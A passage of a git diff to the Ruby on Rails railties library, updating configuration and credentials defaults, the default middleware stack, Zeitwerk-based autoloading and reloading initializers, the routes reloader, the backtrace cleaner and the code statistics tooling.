               @configurations[method] = ActiveSupport::OrderedOptions.new
             }
+          else
+            raise ArgumentError, "wrong number of arguments (given #{args.length}, expected 0) when reading configuration `#{method}`"
           end
         end
 
-        def respond_to_missing?(symbol, *)
+        def respond_to_missing?(symbol, _)
           true
         end
       end
+
+      private
+        def credentials_defaults
+          content_path = root.join("config/credentials/#{Rails.env}.yml.enc")
+          content_path = root.join("config/credentials.yml.enc") if !content_path.exist?
+
+          key_path = root.join("config/credentials/#{Rails.env}.key")
+          key_path = root.join("config/master.key") if !key_path.exist?
+
+          { content_path: content_path, key_path: key_path }
+        end
+
+        def generate_local_secret
+          key_file = root.join("tmp/local_secret.txt")
+
+          unless File.exist?(key_file)
+            random_key = SecureRandom.hex(64)
+            FileUtils.mkdir_p(key_file.dirname)
+            File.binwrite(key_file, random_key)
+          end
+
+          File.binread(key_file)
+        end
     end
   end
 end
diff --git a/railties/lib/rails/application/default_middleware_stack.rb b/railties/lib/rails/application/default_middleware_stack.rb
index 8fe48feefbdec..a1e2d00bba300 100644
--- a/railties/lib/rails/application/default_middleware_stack.rb
+++ b/railties/lib/rails/application/default_middleware_stack.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module Rails
   class Application
     class DefaultMiddlewareStack
@@ -10,9 +12,18 @@ def initialize(app, config, paths)
       end
 
       def build_stack
-        ActionDispatch::MiddlewareStack.new.tap do |middleware|
+        ActionDispatch::MiddlewareStack.new do |middleware|
+          unless Array(config.hosts).empty?
+            middleware.use ::ActionDispatch::HostAuthorization, config.hosts, **config.host_authorization
+          end
+
+          if config.assume_ssl
+            middleware.use ::ActionDispatch::AssumeSSL
+          end
+
           if config.force_ssl
-            middleware.use ::ActionDispatch::SSL, config.ssl_options
+            middleware.use ::ActionDispatch::SSL, **config.ssl_options,
+              ssl_default_redirect_status: config.action_dispatch.ssl_default_redirect_status
           end
 
           middleware.use ::Rack::Sendfile, config.action_dispatch.x_sendfile_header
@@ -37,16 +48,25 @@ def build_stack
 
           middleware.use ::ActionDispatch::Executor, app.executor
 
+          middleware.use ::ActionDispatch::ServerTiming if config.server_timing
           middleware.use ::Rack::Runtime
           middleware.use ::Rack::MethodOverride unless config.api_only
-          middleware.use ::ActionDispatch::RequestId
+          middleware.use ::ActionDispatch::RequestId, header: config.action_dispatch.request_id_header
           middleware.use ::ActionDispatch::RemoteIp, config.action_dispatch.ip_spoofing_check, config.action_dispatch.trusted_proxies
 
+          if path = config.silence_healthcheck_path
+            middleware.use ::Rails::Rack::SilenceRequest, path: path
+          end
+
           middleware.use ::Rails::Rack::Logger, config.log_tags
           middleware.use ::ActionDispatch::ShowExceptions, show_exceptions_app
           middleware.use ::ActionDispatch::DebugExceptions, app, config.debug_exception_response_format
 
-          unless config.cache_classes
+          if config.consider_all_requests_local
+            middleware.use ::ActionDispatch::ActionableExceptions
+          end
+
+          if config.reloading_enabled?
             middleware.use ::ActionDispatch::Reloader, app.reloader
           end
 
@@ -58,17 +78,38 @@ def build_stack
               config.session_options[:secure] = true
             end
             middleware.use config.session_store, config.session_options
+          end
+
+          unless config.api_only
             middleware.use ::ActionDispatch::Flash
+            middleware.use ::ActionDispatch::ContentSecurityPolicy::Middleware
+            middleware.use ::ActionDispatch::PermissionsPolicy::Middleware if config.permissions_policy
           end
 
           middleware.use ::Rack::Head
           middleware.use ::Rack::ConditionalGet
           middleware.use ::Rack::ETag, "no-cache"
+
+          middleware.use ::Rack::TempfileReaper unless config.api_only
+
+          if config.respond_to?(:active_record)
+            if selector_options = config.active_record.database_selector
+              resolver = config.active_record.database_resolver
+              context = config.active_record.database_resolver_context
+
+              middleware.use ::ActiveRecord::Middleware::DatabaseSelector, resolver, context, selector_options
+            end
+
+            if shard_resolver = config.active_record.shard_resolver
+              options = config.active_record.shard_selector || {}
+
+              middleware.use ::ActiveRecord::Middleware::ShardSelector, shard_resolver, options
+            end
+          end
         end
       end
 
       private
-
         def load_rack_cache
           rack_cache = config.action_dispatch.rack_cache
           return unless rack_cache
diff --git a/railties/lib/rails/application/dummy_config.rb b/railties/lib/rails/application/dummy_config.rb
new file mode 100644
index 0000000000000..b570dbeab9abb
--- /dev/null
+++ b/railties/lib/rails/application/dummy_config.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class DummyConfig # :nodoc:
+  def initialize(config)
+    @config = config
+  end
+
+  def to_s
+    "DummyConfig"
+  end
+
+  def method_missing(selector, ...)
+    if @config.respond_to?(selector)
+      @config.send(selector, ...)
+    else
+      self
+    end
+  end
+end
diff --git a/railties/lib/rails/application/finisher.rb b/railties/lib/rails/application/finisher.rb
index c027d066634df..67ff3d1d1434e 100644
--- a/railties/lib/rails/application/finisher.rb
+++ b/railties/lib/rails/application/finisher.rb
@@ -1,36 +1,48 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/string/inflections"
+require "active_support/core_ext/array/conversions"
+require "active_support/descendants_tracker"
+require "active_support/dependencies"
+
 module Rails
   class Application
     module Finisher
       include Initializable
 
       initializer :add_generator_templates do
-        config.generators.templates.unshift(*paths["lib/templates"].existent)
+        ensure_generator_templates_added
       end
 
-      initializer :ensure_autoload_once_paths_as_subset do
-        extra = ActiveSupport::Dependencies.autoload_once_paths -
-                ActiveSupport::Dependencies.autoload_paths
+      initializer :setup_main_autoloader do
+        autoloader = Rails.autoloaders.main
+
+        # Normally empty, but if the user already defined some, we won't
+        # override them. Important if there are custom namespaces associated.
+        already_configured_dirs = Set.new(autoloader.dirs)
 
-        unless extra.empty?
-          abort <<-end_error
-            autoload_once_paths must be a subset of the autoload_paths.
-            Extra items in autoload_once_paths: #{extra * ','}
-          end_error
+        ActiveSupport::Dependencies.autoload_paths.freeze
+        ActiveSupport::Dependencies.autoload_paths.uniq.each do |path|
+          # Zeitwerk only accepts existing directories in `push_dir`.
+          next unless File.directory?(path)
+          next if already_configured_dirs.member?(path.to_s)
+
+          autoloader.push_dir(path)
+          autoloader.do_not_eager_load(path) unless ActiveSupport::Dependencies.eager_load?(path)
         end
-      end
 
-      initializer :add_builtin_route do |app|
-        if Rails.env.development?
-          app.routes.prepend do
-            get "/rails/info/properties" => "rails/info#properties", internal: true
-            get "/rails/info/routes"     => "rails/info#routes", internal: true
-            get "/rails/info"            => "rails/info#index", internal: true
-          end
+        if config.reloading_enabled?
+          autoloader.enable_reloading
+          ActiveSupport::Dependencies.autoloader = autoloader
 
-          app.routes.append do
-            get "/"                      => "rails/welcome#index", internal: true
+          autoloader.on_load do |_cpath, value, _abspath|
+            if value.is_a?(Class) && value.singleton_class < ActiveSupport::DescendantsTracker
+              ActiveSupport::Dependencies._autoloaded_tracked_classes << value
+            end
           end
         end
+
+        autoloader.setup
       end
 
       # Setup default session store if not already set in config/application.rb
@@ -56,15 +68,23 @@ module Finisher
       end
 
       # This needs to happen before eager load so it happens
-      # in exactly the same point regardless of config.cache_classes
+      # in exactly the same point regardless of config.eager_load
       initializer :run_prepare_callbacks do |app|
         app.reloader.prepare!
       end
 
-      initializer :eager_load! do
+      initializer :eager_load! do |app|
         if config.eager_load
           ActiveSupport.run_load_hooks(:before_eager_load, self)
+          Zeitwerk::Loader.eager_load_all
+          Rails.eager_load!
           config.eager_load_namespaces.each(&:eager_load!)
+
+          if config.reloading_enabled?
+            app.reloader.after_class_unload do
+              Rails.autoloaders.main.eager_load
+            end
+          end
         end
       end
 
@@ -73,21 +93,21 @@ module Finisher
         ActiveSupport.run_load_hooks(:after_initialize, self)
       end
 
-      class MutexHook
-        def initialize(mutex = Mutex.new)
-          @mutex = mutex
+      class MonitorHook # :nodoc:
+        def initialize(monitor = Monitor.new)
+          @monitor = monitor
         end
 
         def run
-          @mutex.lock
+          @monitor.enter
         end
 
         def complete(_state)
-          @mutex.unlock
+          @monitor.exit
         end
       end
 
-      module InterlockHook
+      module InterlockHook # :nodoc:
         def self.run
           ActiveSupport::Dependencies.interlock.start_running
         end
@@ -102,7 +122,7 @@ def self.complete(_state)
           # User has explicitly opted out of concurrent request
           # handling: presumably their code is not threadsafe
 
-          app.executor.register_hook(MutexHook.new, outer: true)
+          app.executor.register_hook(MonitorHook.new, outer: true)
 
         elsif config.allow_concurrency == :unsafe
           # Do nothing, even if we know this is dangerous. This is the
@@ -111,22 +131,37 @@ def self.complete(_state)
         else
           # Default concurrency setting: enabled, but safe
 
-          unless config.cache_classes && config.eager_load
-            # Without cache_classes + eager_load, the load interlock
-            # is required for proper operation
-
+          if config.reloading_enabled?
             app.executor.register_hook(InterlockHook, outer: true)
           end
         end
       end
 
+      initializer :add_internal_routes do |app|
+        if Rails.env.development?
+          app.routes.prepend do
+            get "/rails/info/properties" => "rails/info#properties", internal: true
+            get "/rails/info/routes"     => "rails/info#routes",     internal: true
+            get "/rails/info/notes"      => "rails/info#notes",      internal: true
+            get "/rails/info"            => "rails/info#index",      internal: true
+            get ".well-known/appspecific/com.chrome.devtools.json" => "rails/devtools#show",      internal: true
+          end
+
+          routes_reloader.run_after_load_paths = -> do
+            app.routes.append do
+              get "/" => "rails/welcome#index", internal: true
+            end
+          end
+        end
+      end
+
       # Set routes reload after the finisher hook to ensure routes added in
       # the hook are taken into account.
       initializer :set_routes_reloader_hook do |app|
         reloader = routes_reloader
         reloader.eager_load = app.config.eager_load
-        reloader.execute_if_updated
         reloaders << reloader
+
         app.reloader.to_run do
           # We configure #execute rather than #execute_if_updated because if
           # autoloaded constants are cleared we need to reload routes also in
@@ -139,54 +174,64 @@ def self.complete(_state)
           # some sort of reloaders dependency support, to be added.
           require_unload_lock!
           reloader.execute
+          ActiveSupport.run_load_hooks(:after_routes_loaded, self)
         end
+
+        reloader.execute_unless_loaded if !app.routes.is_a?(Engine::LazyRouteSet) || app.config.eager_load
       end
 
       # Set clearing dependencies after the finisher hook to ensure paths
       # added in the hook are taken into account.
       initializer :set_clear_dependencies_hook, group: :all do |app|
         callback = lambda do
-          ActiveSupport::DescendantsTracker.clear
+          # Order matters.
+          ActiveSupport::DescendantsTracker.clear(ActiveSupport::Dependencies._autoloaded_tracked_classes)
           ActiveSupport::Dependencies.clear
         end
 
-        if config.cache_classes
-          app.reloader.check = lambda { false }
-        elsif config.reload_classes_only_on_change
-          app.reloader.check = lambda do
-            app.reloaders.map(&:updated?).any?
+        if config.reloading_enabled?
+          if config.reload_classes_only_on_change
+            app.reloader.check = lambda do
+              app.reloaders.map(&:updated?).any?
+            end
+          else
+            app.reloader.check = lambda { true }
           end
         else
-          app.reloader.check = lambda { true }
-        end
-
-        if config.reload_classes_only_on_change
-          reloader = config.file_watcher.new(*watchable_args, &callback)
-          reloaders << reloader
-
-          # Prepend this callback to have autoloaded constants cleared before
-          # any other possible reloading, in case they need to autoload fresh
-          # constants.
-          app.reloader.to_run(prepend: true) do
-            # In addition to changes detected by the file watcher, if routes
-            # or i18n have been updated we also need to clear constants,
-            # that's why we run #execute rather than #execute_if_updated, this
-            # callback has to clear autoloaded constants after any update.
-            class_unload! do
-              reloader.execute
+          app.reloader.check = lambda { false }
+        end
+
+        if config.reloading_enabled?
+          if config.reload_classes_only_on_change
+            reloader = config.file_watcher.new(*watchable_args, &callback)
+            reloaders << reloader
+
+            # Prepend this callback to have autoloaded constants cleared before
+            # any other possible reloading, in case they need to autoload fresh
+            # constants.
+            app.reloader.to_run(prepend: true) do
+              # In addition to changes detected by the file watcher, if routes
+              # or i18n have been updated we also need to clear constants,
+              # that's why we run #execute rather than #execute_if_updated, this
+              # callback has to clear autoloaded constants after any update.
+              class_unload! do
+                reloader.execute
+              end
+            end
+          else
+            app.reloader.to_complete do
+              class_unload!(&callback)
             end
           end
         else
-          app.reloader.to_complete do
-            class_unload!(&callback)
-          end
+          ActiveSupport::DescendantsTracker.disable_clear!
         end
       end
 
-      # Disable dependency loading during request cycle
-      initializer :disable_dependency_loading do
-        if config.eager_load && config.cache_classes && !config.enable_dependency_loading
-          ActiveSupport::Dependencies.unhook!
+      initializer :enable_yjit do
+        if config.yjit && defined?(RubyVM::YJIT.enable)
+          options = config.yjit.is_a?(Hash) ? config.yjit : {}
+          RubyVM::YJIT.enable(**options)
         end
       end
     end
diff --git a/railties/lib/rails/application/routes_reloader.rb b/railties/lib/rails/application/routes_reloader.rb
index e02ef629f2234..d9ddc839e1050 100644
--- a/railties/lib/rails/application/routes_reloader.rb
+++ b/railties/lib/rails/application/routes_reloader.rb
@@ -1,46 +1,55 @@
-require "active_support/core_ext/module/delegation"
+# frozen_string_literal: true
+
 
 module Rails
   class Application
     class RoutesReloader
-      attr_reader :route_sets, :paths
+      include ActiveSupport::Callbacks
+
+      attr_reader :route_sets, :paths, :external_routes, :loaded
       attr_accessor :eager_load
-      delegate :updated?, to: :updater
+      attr_writer :run_after_load_paths, :loaded # :nodoc:
+      delegate :execute_if_updated, :updated?, to: :updater
 
-      def initialize
+      def initialize(file_watcher: ActiveSupport::FileUpdateChecker)
         @paths      = []
         @route_sets = []
+        @external_routes = []
         @eager_load = false
+        @loaded = false
+        @file_watcher = file_watcher
       end
 
       def reload!
         clear!
         load_paths
         finalize!
+        route_sets.each(&:eager_load!) if eager_load
       ensure
         revert
       end
 
       def execute
-        ret = updater.execute
-        route_sets.each(&:eager_load!) if eager_load
-        ret
+        @loaded = true
+        updater.execute
       end
 
-      def execute_if_updated
-        if updated = updater.execute_if_updated
-          route_sets.each(&:eager_load!) if eager_load
+      def execute_unless_loaded
+        unless @loaded
+          execute
+          ActiveSupport.run_load_hooks(:after_routes_loaded, Rails.application)
+          true
         end
-        updated
       end
 
     private
-
       def updater
         @updater ||= begin
-          updater = ActiveSupport::FileUpdateChecker.new(paths) { reload! }
-          updater.execute
-          updater
+          dirs = @external_routes.each_with_object({}) do |dir, hash|
+            hash[dir.to_s] = %w(rb)
+          end
+
+          @file_watcher.new(paths, dirs) { reload! }
         end
       end
 
@@ -53,6 +62,11 @@ def clear!
 
       def load_paths
         paths.each { |path| load(path) }
+        run_after_load_paths.call
+      end
+
+      def run_after_load_paths
+        @run_after_load_paths ||= -> { }
       end
 
       def finalize!
diff --git a/railties/lib/rails/application_controller.rb b/railties/lib/rails/application_controller.rb
index a98e51fd28d94..61516c5b53d17 100644
--- a/railties/lib/rails/application_controller.rb
+++ b/railties/lib/rails/application_controller.rb
@@ -1,9 +1,19 @@
+# frozen_string_literal: true
+
+require "action_controller"
+
 class Rails::ApplicationController < ActionController::Base # :nodoc:
-  self.view_paths = File.expand_path("../templates", __FILE__)
+  prepend_view_path File.expand_path("templates", __dir__)
   layout "application"
 
-  private
+  before_action :disable_content_security_policy_nonce!
+
+  content_security_policy do |policy|
+    policy.script_src :self, :unsafe_inline
+    policy.style_src :self, :unsafe_inline
+  end
 
+  private
     def require_local!
       unless local_request?
         render html: "<p>For security purposes, this information is only available to local requests.</p>".html_safe, status: :forbidden
@@ -13,4 +23,8 @@ def require_local!
     def local_request?
       Rails.application.config.consider_all_requests_local || request.local?
     end
+
+    def disable_content_security_policy_nonce!
+      request.content_security_policy_nonce_generator = nil
+    end
 end
diff --git a/railties/lib/rails/autoloaders.rb b/railties/lib/rails/autoloaders.rb
new file mode 100644
index 0000000000000..1aba548d1d781
--- /dev/null
+++ b/railties/lib/rails/autoloaders.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+module Rails
+  class Autoloaders # :nodoc:
+    require_relative "autoloaders/inflector"
+
+    include Enumerable
+
+    attr_reader :main, :once
+
+    def initialize
+      # This `require` delays loading the library on purpose.
+      #
+      # In Rails 7.0.0, railties/lib/rails.rb loaded Zeitwerk as a side-effect,
+      # but a couple of edge cases related to Bundler and Bootsnap showed up.
+      # They had to do with order of decoration of `Kernel#require`, something
+      # the three of them do.
+      #
+      # Delaying this `require` up to this point is a convenient trade-off.
+      require "zeitwerk"
+
+      @main = Zeitwerk::Loader.new
+      @main.tag = "rails.main"
+      @main.inflector = Inflector
+
+      @once = Zeitwerk::Loader.new
+      @once.tag = "rails.once"
+      @once.inflector = Inflector
+    end
+
+    def each
+      yield main
+      yield once
+    end
+
+    def logger=(logger)
+      each { |loader| loader.logger = logger }
+    end
+
+    def log!
+      each(&:log!)
+    end
+
+    def zeitwerk_enabled?
+      true
+    end
+  end
+end
diff --git a/railties/lib/rails/autoloaders/inflector.rb b/railties/lib/rails/autoloaders/inflector.rb
new file mode 100644
index 0000000000000..9813333de3877
--- /dev/null
+++ b/railties/lib/rails/autoloaders/inflector.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+require "active_support/inflector"
+
+module Rails
+  class Autoloaders
+    module Inflector # :nodoc:
+      # Concurrent::Map is not needed. This is a private class, and overrides
+      # must be defined while the application boots.
+      @overrides = {}
+
+      def self.camelize(basename, _abspath)
+        @overrides[basename] || basename.camelize
+      end
+
+      def self.inflect(overrides)
+        @overrides.merge!(overrides)
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/backtrace_cleaner.rb b/railties/lib/rails/backtrace_cleaner.rb
index 5c833e12baaef..f5590538b7138 100644
--- a/railties/lib/rails/backtrace_cleaner.rb
+++ b/railties/lib/rails/backtrace_cleaner.rb
@@ -1,32 +1,44 @@
+# frozen_string_literal: true
+
 require "active_support/backtrace_cleaner"
+require "active_support/core_ext/string/access"
 
 module Rails
-  class BacktraceCleaner < ActiveSupport::BacktraceCleaner
-    APP_DIRS_PATTERN = /^\/?(app|config|lib|test|\(\w*\))/
-    RENDER_TEMPLATE_PATTERN = /:in `_render_template_\w*'/
-    EMPTY_STRING = "".freeze
-    SLASH        = "/".freeze
-    DOT_SLASH    = "./".freeze
+  class BacktraceCleaner < ActiveSupport::BacktraceCleaner # :nodoc:
+    RENDER_TEMPLATE_PATTERN = /:in [`'].*_\w+_{2,3}\d+_\d+'/
 
     def initialize
       super
-      @root = "#{Rails.root}/".freeze
-      add_filter { |line| line.sub(@root, EMPTY_STRING) }
-      add_filter { |line| line.sub(RENDER_TEMPLATE_PATTERN, EMPTY_STRING) }
-      add_filter { |line| line.sub(DOT_SLASH, SLASH) } # for tests
+      add_filter do |line|
+        # We may be called before Rails.root is assigned.
+        # When that happens we fallback to not truncating.
+        @root ||= Rails.root && "#{Rails.root}/"
+        @root && line.start_with?(@root) ? line.from(@root.size) : line
+      end
+      add_filter do |line|
+        if RENDER_TEMPLATE_PATTERN.match?(line)
+          line.sub(RENDER_TEMPLATE_PATTERN, "")
+        else
+          line
+        end
+      end
 
-      add_gem_filters
-      add_silencer { |line| line !~ APP_DIRS_PATTERN }
+      add_silencer do |line|
+        line.start_with?(File::SEPARATOR, "vendor/", "bin/")
+      end
     end
 
-    private
-      def add_gem_filters
-        gems_paths = (Gem.path | [Gem.default_dir]).map { |p| Regexp.escape(p) }
-        return if gems_paths.empty?
+    def clean(backtrace, kind = :silent)
+      return backtrace if ENV["BACKTRACE"]
 
-        gems_regexp = %r{(#{gems_paths.join('|')})/gems/([^/]+)-([\w.]+)/(.*)}
-        gems_result = '\2 (\3) \4'.freeze
-        add_filter { |line| line.sub(gems_regexp, gems_result) }
-      end
+      super(backtrace, kind)
+    end
+    alias_method :filter, :clean
+
+    def clean_frame(frame, kind = :silent)
+      return frame if ENV["BACKTRACE"]
+
+      super(frame, kind)
+    end
   end
 end
diff --git a/railties/lib/rails/cli.rb b/railties/lib/rails/cli.rb
index 973b746068bb1..7bbfcf748968a 100644
--- a/railties/lib/rails/cli.rb
+++ b/railties/lib/rails/cli.rb
@@ -1,15 +1,19 @@
+# frozen_string_literal: true
+
 require "rails/app_loader"
 
 # If we are inside a Rails application this method performs an exec and thus
 # the rest of this script is not run.
 Rails::AppLoader.exec_app
 
-require "rails/ruby_version_check"
 Signal.trap("INT") { puts; exit(1) }
 
 require "rails/command"
-
-if ARGV.first == "plugin"
+case ARGV.first
+when Rails::Command::HELP_MAPPINGS, "help", nil
+  ARGV.shift
+  Rails::Command.invoke :gem_help, ARGV
+when "plugin"
   ARGV.shift
   Rails::Command.invoke :plugin, ARGV
 else
diff --git a/railties/lib/rails/code_statistics.rb b/railties/lib/rails/code_statistics.rb
index 9c4bd16aadd98..e1cfd7a36793d 100644
--- a/railties/lib/rails/code_statistics.rb
+++ b/railties/lib/rails/code_statistics.rb
@@ -1,112 +1,173 @@
+# frozen_string_literal: true
+
 require "rails/code_statistics_calculator"
 require "active_support/core_ext/enumerable"
 
-class CodeStatistics #:nodoc:
-  TEST_TYPES = ["Controller tests",
-                "Helper tests",
-                "Model tests",
-                "Mailer tests",
-                "Job tests",
-                "Integration tests"]
-
-  HEADERS = { lines: " Lines", code_lines: "   LOC", classes: "Classes", methods: "Methods" }
+module Rails
+  class CodeStatistics
+    DIRECTORIES = [
+      %w(Controllers        app/controllers),
+      %w(Helpers            app/helpers),
+      %w(Jobs               app/jobs),
+      %w(Models             app/models),
+      %w(Mailers            app/mailers),
+      %w(Mailboxes          app/mailboxes),
+      %w(Channels           app/channels),
+      %w(Views              app/views),
+      %w(JavaScripts        app/assets/javascripts),
+      %w(Stylesheets        app/assets/stylesheets),
+      %w(JavaScript         app/javascript),
+      %w(Libraries          lib/),
+      %w(APIs               app/apis),
+      %w(Controller\ tests  test/controllers),
+      %w(Helper\ tests      test/helpers),
+      %w(Job\ tests         test/jobs),
+      %w(Model\ tests       test/models),
+      %w(Mailer\ tests      test/mailers),
+      %w(Mailbox\ tests     test/mailboxes),
+      %w(Channel\ tests     test/channels),
+      %w(Integration\ tests test/integration),
+      %w(System\ tests      test/system),
+    ]
+
+    TEST_TYPES = ["Controller tests",
+                  "Helper tests",
+                  "Model tests",
+                  "Mailer tests",
+                  "Mailbox tests",
+                  "Channel tests",
+                  "Job tests",
+                  "Integration tests",
+                  "System tests"]
+
+    HEADERS = { lines: " Lines", code_lines: "   LOC", classes: "Classes", methods: "Methods" }
+
+    EXTENSIONS = %w[rb js ts css scss coffee rake erb]
+
+    PATTERN = /^(?!\.).*?\.(#{EXTENSIONS.join("|")})$/
+
+    class_attribute :directories, default: DIRECTORIES
+    class_attribute :test_types, default: TEST_TYPES
+    class_attribute :extensions, default: EXTENSIONS
+    class_attribute :pattern, default: PATTERN
+
+    # Add directories to the output of the <tt>bin/rails stats</tt> command.
+    #
+    #   Rails::CodeStatistics.register_directory("My Directory", "path/to/dir")
+    #
+    # For directories that contain test code, set the <tt>test_directory</tt> argument to true.
+    #
+    #   Rails::CodeStatistics.register_directory("Model specs", "spec/models", test_directory: true)
+    def self.register_directory(label, path, test_directory: false)
+      self.directories << [label, path]
+      self.test_types << label if test_directory
+    end
 
-  def initialize(*pairs)
-    @pairs      = pairs
-    @statistics = calculate_statistics
-    @total      = calculate_total if pairs.length > 1
-  end
+    # Add extensions to the output of the <tt>bin/rails stats</tt> command.
+    #
+    #   Rails::CodeStatistics.register_extension("txt")
+    def self.register_extension(extension)
+      self.extensions += [extension]
+      self.pattern = /^(?!\.).*?\.(#{Regexp.union(extensions.map { |e| Regexp.escape(e) })})$/
+    end
 
-  def to_s
-    print_header
-    @pairs.each { |pair| print_line(pair.first, @statistics[pair.first]) }
-    print_splitter
+    def initialize(*pairs)
+      @pairs      = pairs
+      @statistics = calculate_statistics
+      @total      = calculate_total if pairs.length > 1
+    end
 
-    if @total
-      print_line("Total", @total)
+    def to_s
+      print_header
+      @pairs.each { |pair| print_line(pair.first, @statistics[pair.first]) }
       print_splitter
-    end
 
-    print_code_test_stats
-  end
+      if @total
+        print_line("Total", @total)
+        print_splitter
+      end
 
-  private
-    def calculate_statistics
-      Hash[@pairs.map { |pair| [pair.first, calculate_directory_statistics(pair.last)] }]
+      print_code_test_stats
     end
 
-    def calculate_directory_statistics(directory, pattern = /^(?!\.).*?\.(rb|js|coffee|rake)$/)
-      stats = CodeStatisticsCalculator.new
+    private
+      def calculate_statistics
+        Hash[@pairs.map { |pair| [pair.first, calculate_directory_statistics(pair.last)] }]
+      end
+
+      def calculate_directory_statistics(directory, pattern = self.class.pattern)
+        stats = Rails::CodeStatisticsCalculator.new
 
-      Dir.foreach(directory) do |file_name|
-        path = "#{directory}/#{file_name}"
+        Dir.foreach(directory) do |file_name|
+          path = "#{directory}/#{file_name}"
 
-        if File.directory?(path) && (/^\./ !~ file_name)
-          stats.add(calculate_directory_statistics(path, pattern))
-        elsif file_name =~ pattern
-          stats.add_by_file_path(path)
+          if File.directory?(path) && !file_name.start_with?(".")
+            stats.add(calculate_directory_statistics(path, pattern))
+          elsif file_name&.match?(pattern)
+            stats.add_by_file_path(path)
+          end
         end
-      end
 
-      stats
-    end
+        stats
+      end
 
-    def calculate_total
-      @statistics.each_with_object(CodeStatisticsCalculator.new) do |pair, total|
-        total.add(pair.last)
+      def calculate_total
+        @statistics.each_with_object(Rails::CodeStatisticsCalculator.new) do |pair, total|
+          total.add(pair.last)
+        end
       end
-    end
 
-    def calculate_code
-      code_loc = 0
-      @statistics.each { |k, v| code_loc += v.code_lines unless TEST_TYPES.include? k }
-      code_loc
-    end
+      def calculate_code
+        code_loc = 0
+        @statistics.each { |k, v| code_loc += v.code_lines unless test_types.include? k }
+        code_loc
+      end
 
-    def calculate_tests
-      test_loc = 0
-      @statistics.each { |k, v| test_loc += v.code_lines if TEST_TYPES.include? k }
-      test_loc
-    end
+      def calculate_tests
+        test_loc = 0
+        @statistics.each { |k, v| test_loc += v.code_lines if test_types.include? k }
+        test_loc
+      end
 
-    def width_for(label)
-      [@statistics.values.sum { |s| s.send(label) }.to_s.size, HEADERS[label].length].max
-    end
+      def width_for(label)
+        [@statistics.values.sum { |s| s.public_send(label) }.to_s.size, HEADERS[label].length].max
+      end
 
-    def print_header
-      print_splitter
-      print "| Name                "
-      HEADERS.each do |k, v|
-        print " | #{v.rjust(width_for(k))}"
+      def print_header
+        print_splitter
+        print "| Name                "
+        HEADERS.each do |k, v|
+          print " | #{v.rjust(width_for(k))}"
+        end
+        puts " | M/C | LOC/M |"
+        print_splitter
       end
-      puts " | M/C | LOC/M |"
-      print_splitter
-    end
 
-    def print_splitter
-      print "+----------------------"
-      HEADERS.each_key do |k|
-        print "+#{'-' * (width_for(k) + 2)}"
+      def print_splitter
+        print "+----------------------"
+        HEADERS.each_key do |k|
+          print "+#{'-' * (width_for(k) + 2)}"
+        end
+        puts "+-----+-------+"
       end
-      puts "+-----+-------+"
-    end
 
-    def print_line(name, statistics)
-      m_over_c   = (statistics.methods / statistics.classes) rescue m_over_c = 0
-      loc_over_m = (statistics.code_lines / statistics.methods) - 2 rescue loc_over_m = 0
+      def print_line(name, statistics)
+        m_over_c   = (statistics.methods / statistics.classes) rescue 0
+        loc_over_m = (statistics.code_lines / statistics.methods) - 2 rescue 0
 
-      print "| #{name.ljust(20)} "
-      HEADERS.each_key do |k|
-        print "| #{statistics.send(k).to_s.rjust(width_for(k))} "
+        print "| #{name.ljust(20)} "
+        HEADERS.each_key do |k|
+          print "| #{statistics.send(k).to_s.rjust(width_for(k))} "
+        end
+        puts "| #{m_over_c.to_s.rjust(3)} | #{loc_over_m.to_s.rjust(5)} |"
       end
-      puts "| #{m_over_c.to_s.rjust(3)} | #{loc_over_m.to_s.rjust(5)} |"
-    end
 
-    def print_code_test_stats
-      code  = calculate_code
-      tests = calculate_tests
+      def print_code_test_stats
+        code  = calculate_code
+        tests = calculate_tests
 
-      puts "  Code LOC: #{code}     Test LOC: #{tests}     Code to Test Ratio: 1:#{sprintf("%.1f", tests.to_f / code)}"
-      puts ""
-    end
+        puts "  Code LOC: #{code}     Test LOC: #{tests}     Code to Test Ratio: 1:#{sprintf("%.1f", tests.to_f / code)}"
+        puts ""
+      end
+  end
 end
diff --git a/railties/lib/rails/code_statistics_calculator.rb b/railties/lib/rails/code_statistics_calculator.rb
index d0194af197fdb..265116a7e947a 100644
--- a/railties/lib/rails/code_statistics_calculator.rb
+++ b/railties/lib/rails/code_statistics_calculator.rb
@@ -1,86 +1,99 @@
-class CodeStatisticsCalculator #:nodoc:
-  attr_reader :lines, :code_lines, :classes, :methods
+# frozen_string_literal: true
 
-  PATTERNS = {
-    rb: {
-      line_comment: /^\s*#/,
-      begin_block_comment: /^=begin/,
-      end_block_comment: /^=end/,
-      class: /^\s*class\s+[_A-Z]/,
-      method: /^\s*def\s+[_a-z]/,
-    },
-    js: {
-      line_comment: %r{^\s*//},
-      begin_block_comment: %r{^\s*/\*},
-      end_block_comment: %r{\*/},
-      method: /function(\s+[_a-zA-Z][\da-zA-Z]*)?\s*\(/,
-    },
-    coffee: {
-      line_comment: /^\s*#/,
-      begin_block_comment: /^\s*###/,
-      end_block_comment: /^\s*###/,
-      class: /^\s*class\s+[_A-Z]/,
-      method: /[-=]>/,
+module Rails
+  class CodeStatisticsCalculator # :nodoc:
+    attr_reader :lines, :code_lines, :classes, :methods
+
+    PATTERNS = {
+      rb: {
+        line_comment: /^\s*#/,
+        begin_block_comment: /^=begin/,
+        end_block_comment: /^=end/,
+        class: /^\s*class\s+[_A-Z]/,
+        method: /^\s*def\s+[_a-z]/,
+      },
+      erb: {
+        line_comment: %r{((^\s*<%#.*%>)|(<!--.*-->))},
+      },
+      css: {
+        line_comment: %r{^\s*/\*.*\*/},
+      },
+      scss: {
+        line_comment: %r{((^\s*/\*.*\*/)|(^\s*//))},
+      },
+      js: {
+        line_comment: %r{^\s*//},
+        begin_block_comment: %r{^\s*/\*},
+        end_block_comment: %r{\*/},
+        method: /function(\s+[_a-zA-Z][\da-zA-Z]*)?\s*\(/,
+      },
+      coffee: {
+        line_comment: /^\s*#/,
+        begin_block_comment: /^\s*###/,
+        end_block_comment: /^\s*###/,
+        class: /^\s*class\s+[_A-Z]/,
+        method: /[-=]>/,
+      }
     }
-  }
 
-  PATTERNS[:minitest] = PATTERNS[:rb].merge method: /^\s*(def|test)\s+['"_a-z]/
-  PATTERNS[:rake] = PATTERNS[:rb]
